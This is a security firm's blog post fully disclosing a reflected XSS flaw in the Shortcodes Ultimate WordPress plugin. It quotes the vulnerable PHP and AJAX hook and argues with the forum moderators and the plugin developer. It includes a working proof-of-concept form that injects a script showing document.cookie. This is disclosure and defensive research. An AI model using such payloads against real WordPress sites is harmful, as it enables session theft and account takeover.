25 Sep

Full Disclosure of Vulnerability in WordPress Plugin with 700,000+ Active Installations

Earlier today we announced we are changing how we handle the disclosure of vulnerabilities in WordPress plugins. Until the inappropriate behavior by the moderators of the WordPress Support Forum ends we are going to be doing full disclosure, that is just disclosing the vulnerabilities, and after that only notifying the developer of the plugin through the Support Forum. We hope that this will be the thing that finally causes the current moderators and or other people in charge of WordPress to understand that they need to clean up the moderation, because it is causing many more problems than these full disclosures will.

We thought it would be a good idea to start these full disclosures off with a bang by disclosing a vulnerability in a very popular plugin, one with 700,000+ active installations according to wordpress.org. The type of vulnerability being disclosed though has almost no chance of being exploited on the average website, unless you were to believe the misinformation put out by other security companies.

Last week as part of our monitoring of indications of changes being made to WordPress plugins we ran across the changelog entry for the latest version of the plugin FV Flowplayer Video Player, which read “Security – adding nonce for the Shortcode Editor preview”. Looking at the changes made in that version and the other code related to the changed code in the plugin though we couldn’t understand what the vulnerability there would be. A nonce is used to prevent cross-site request forgery (CSRF), which is when you cause someone to take an action they didn’t intend to. The problem was we didn’t see anything that would happen when the relevant code would run that seemed to need CSRF protection.

The closest thing was this line of code:

239
echo do_shortcode($shortcode);

That would allow someone to cause a specified shortcode to run, which wouldn’t really be what we would consider an issue with the plugin since you can do the same thing through WordPress itself. In looking over the code we also thought there might be a reflected cross-site (XSS) issue somewhere, but we didn’t find one.

The next day though we could see what we missed when the discoverer of the issue, Janek Vind, released a report on it. It turned out the line of code above could cause reflected XSS to happen.

After seeing that we were interested in seeing about adding a new check to our automated tool for detecting possible security issues in WordPress plugins, the Plugin Security Checker, to catch some instances of that issue. To get a better idea of what be might out there when it comes to this type of issue we did some checking of the 1,000 most popular WordPress plugin in the Plugin Directory.

When we did that we found this line in the plugin Shortcodes Ultimate:

187
echo do_shortcode( str_replace( '\"', '"', $_POST['shortcode'] ) );

That certainly looked like it might be exploitable, especially due to its use of strip slashes, which could eliminate an impediment to that being exploitable.

Looking at where it was located made that seem more likely. That code exists in the function preview() in the file /inc/core/generator.php:

public static function preview() {
	// Check authentication
	self::access();
	// Output results
	do_action( 'su/generator/preview/before' );
	echo '<h5>' . __( 'Preview', 'shortcodes-ultimate' ) . '</h5>';
	// echo '<hr />' . stripslashes( $_POST['shortcode'] ) . '<hr />'; // Uncomment for debug
	echo do_shortcode( str_replace( '\"', '"', $_POST['shortcode'] )

That function is accessible to anyone logged in to WordPress through WordPress’ AJAX functionality:

add_action( 'wp_ajax_su_generator_preview',        array( __CLASS__, 'preview' ) );

Once we saw that, it was easy to craft a proof of concept, as shown below, that confirms the vulnerability is exploitable. Though again, this type of vulnerability is very unlikely to exploited on the average website.

Even prior to this disclosure the Plugin Security Checker had been updated to catch the possibility of this vulnerability, so it would have been relatively easy to spot it already. Whether we needed to change our disclosure policy when it comes things are able to be identified by that tool was something we considering before making the change in the disclosure policy (and we will need to return to that once we can return to the our old disclosure policy).

Update (9/27/18): Incredibly, while the moderators deleted our message to notify the developer of the issue, they didn’t bother to notify the developer of the issue. Once the developer got notified, they quickly took action. It really speaks to the moderators inability to act appropriately that they would choose to delete the notification and then not doing anything else.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=su_generator_preview" method="POST">
<input type="hidden" name="shortcode" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

6 thoughts on “Full Disclosure of Vulnerability in WordPress Plugin with 700,000+ Active Installations

    • The moderators of the Support Forum deleted our notification and didn’t bother to notify the developer instead, which is unfortunately just the kind of inappropriate behavior they have been engaged in for far too long.

  1. Why you guys didn’t contact me directly? I’m not a moderator on that forum. I’m the developer of Shortcodes Ultimate.

    The tagline on your site says: “Plugin Vulnerabilities – A service to protect your site against vulnerabilities in WordPress plugins”.

    Do you think this is a cool way to protect 700,000+ websites? I don’t think so…

    • We only took the step of moving to full disclosure because of the continued inappropriate behavior by the Support Forum moderators. Up until this week, we handled things very differently, as can be seen with disclosures of vulnerabilities in Events Made Easy and Blog2Social: Social Media Auto Post & Scheduler after they were fixed just last week. We would like to go back to that, but that will only happen once the moderation of the Support Forum is cleaned up, as it is causing many more problems than these full disclosures are when it comes to plugin vulnerabilities. So please contact the leadership of WordPress and let them know they need to get the moderation fixed, because once that happens we won’t have to do this anymore.

      The customers of our service (which definitely are not 700,000+ websites) were already notified of the issue and we are always there to help them if they have a plugin with an unfixed vulnerability.

    • Like we already said the inappropriate behavior of the moderators is already causing many more problems than these full disclosures are when it comes to plugin vulnerabilities, it just isn’t so public so people don’t notice it. These full disclosures are very visible, which is the point as trying to doing things in less visible way hasn’t caused a change, but it did lead to plugins with 2.8+ million active installs to remain in the Plugin Directory despite being known to be vulnerable (which the people on the WordPress side of things didn’t care about).

      We are not trying to involve a few plugin authors, our suggestion to contact the leadership of WordPress is addressed to anyone, because these full disclosures will stop once the moderation is cleaned up. The sooner they clean that up, the better.

Leave a Reply

Your email address will not be published. Required fields are marked *